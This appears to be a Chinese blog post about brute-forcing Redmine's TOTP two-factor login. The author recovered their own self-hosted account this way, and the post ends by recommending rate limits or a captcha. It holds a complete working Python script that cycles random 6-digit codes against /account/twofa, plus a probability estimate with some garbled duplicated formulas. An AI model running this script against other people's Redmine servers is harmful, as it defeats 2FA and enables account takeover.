Redmine 是一款 开源、灵活的项目管理工具,基于 Ruby on Rails 框架开发。它专注于帮助团队高效管理项目任务、协作和资源,尤其适合软件开发、产品管理、IT运维等领域。本文介绍了由于Redmine对于TOTP验证不会进行人机验证,从而导致的BruteForce TOTP的可行性。

一、起因

本人在本地自行搭建了一个Redmine服务,并且为自己注册了账号,开启了OTP功能,使得在登录输入完密码后,需要进行TOTP验证,TOTP验证码是足够复杂且不可预测的,具体可以看这里Time-based one-time password - Wikipedia

但是由于本人没有对 Authentication App 进行数据备份,在之后的一天,TOTP密码丢失,我再也无法登录自己的Redmine服务。

由于Redmine的特性,并没有在开启TOTP的时候立即生成恢复密钥(随机的几串固定文本,每一串都可以当作TOTP码来进行登录,不过每一串都只能使用一次),而是在开启后手动选择生成恢复密钥。

而且生成backup code的时候也要输入一次TOTP Code来验证身份。

于是我就想到了暴力破解TOTP Code(虽然我是自己搭建的,但是我还是选择了想方设法不在服务器上恢复)。

二、经过

对Redmine前端进行分析,发现在login输入密码,点击确定后,如果开了OTP,后端会返回一个302 Status Code,意味着重定向

显然,当前页面会被重定向到 /account/twofa/confirm 路由,即2fa验证页面。

然后输入3次,如果都失败了就退出登录状态,否则只要验证成功,就会302继续跳转,跳转到登陆后的主页。

所以我们完全可以使用Python来完成自动化爆破,我们随机尝试000000~999999之间的数字即可,而且由于Redmine没有任何防爆破的操作,并且爆破不会影响正常登录,我们可以在隐匿的状态下完成。PoC如下

import httpx
import json
import random
import time

URL = "http://your.redmineservice.net"
USER_NAME = "admin"
USER_PASS = "test@1234"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0"

cook = httpx.Cookies()

def redmine_login(session):

    page_login = session.get(f'{URL}/login', timeout=httpx.Timeout(None))
    page_login = page_login.text
    # get csrf
    b = '<input type="hidden" name="authenticity_token" value="'
    token = page_login[page_login.find(b)+len(b):page_login.find('" autocomplete=', page_login.find(b))]
    logret = session.post(f'{URL}/login', timeout=httpx.Timeout(None), data={ "authenticity_token": token,
                                                "utf8": "%E2%9C%93",
                                                "username": USER_NAME, 
                                                "password": USER_PASS,
                                                "login":"Login"},
                                                headers={"Referer":f"{URL}/login",
                                                         "upgrade-insecure-requests": "1",
                                                         "user-agent": USER_AGENT})
    if logret.status_code != 302:
        # login failed
        print('login failed')
        print(logret.text)
        raise Exception('Login Failed')

    while True:
        page_login = session.get(f'{URL}/account/twofa/confirm', timeout=httpx.Timeout(None), headers={
            "Upgrade-Insecure-Requests": "1",
            "Referer": f"{URL}/login",
            "user-agent": USER_AGENT,
        }).text
        token = page_login[page_login.find(b)+len(b):page_login.find('" autocomplete=', page_login.find(b))]
        code = str(random.Random().randint(0, 999999))
        code = code.rjust(6, '0')
        print(f'trying code: {code}')
        logret = session.post(f'{URL}/account/twofa', timeout=httpx.Timeout(None), data={"authenticity_token": token,
                                                            "twofa_code": str(code), 
                                                            "submit_otp":"Login"}, headers={"Referer":f"{URL}/account/twofa/confirm",
                                                                                       "upgrade-insecure-requests": "1",
                                                                                       "user-agent": USER_AGENT})
        loca = logret.headers['Location']
        if loca.endswith('/account/twofa/confirm'):
            continue
        elif loca.endswith('/'):
            break
        elif loca.endswith('my/page'):
            print("success, cookie = ", logret.cookies)
            exit(0)
        else:
            print('error location')
            print(loca)
            raise Exception('Location Wrong')

attemp = 0
session = httpx.Client(cookies=cook)
while True:
    try:
        while True:
            attemp += 1
            print(f"round {attemp}")
            redmine_login(session)
    except:
        # reconnect
        session = httpx.Client(cookies=cook)

在跑代码的期间,我让AI帮我算了一算要跑多久:

计算思路

由于 TOTP 每 30 秒更换 3 个新密码,爆破的成功概率取决于:

  • 在同一个 30 秒窗口内,尝试的密码是否命中 3 个有效值之一。

  • 如果没命中,则进入下一个 30 秒窗口,继续尝试。

成功概率分析

  1. 单次 30 秒窗口内的命中概率

    • 爆破尝试 30 次(每秒 1 次)。

    • 每次尝试命中 3 个正确值的概率:31,000,0001,000,0003

    • 30 次均未命中的概率:(1−31,000,000)30≈e−0.00009≈0.99991(1−1,000,0003)30e−0.00009≈0.99991

    • 至少命中 1 次的概率:1−0.99991=0.000091−0.99991=0.00009(即 0.009%)。

  2. 平均需要多少个 30 秒窗口才能成功?

    • 每次窗口的成功概率 p=0.00009

    • 期望窗口数 E=1/p≈11,111个窗口。

    • 总时间11,111×30秒=333,330秒≈92.6小时≈3.86天11,111×30秒=333,330秒≈92.6小时≈3.86天

结论

1 次/秒 的爆破速度下,平均需要 ~92.6 小时(约 3.86 天) 才能成功命中一个有效的 TOTP 码。

三、结果

在程序跑了大概1周后,大概20w轮,程序登录成功,意味着我重新获得了账号所有权,不过如果我要关掉TOTP,我还需要再跑一次,这次我选择了在服务器上直接操作。

四、说在最后

TOTP的通病可能就在此处,不过如果加入限制次数或是验证码机制,爆破的可能性将会大大降低。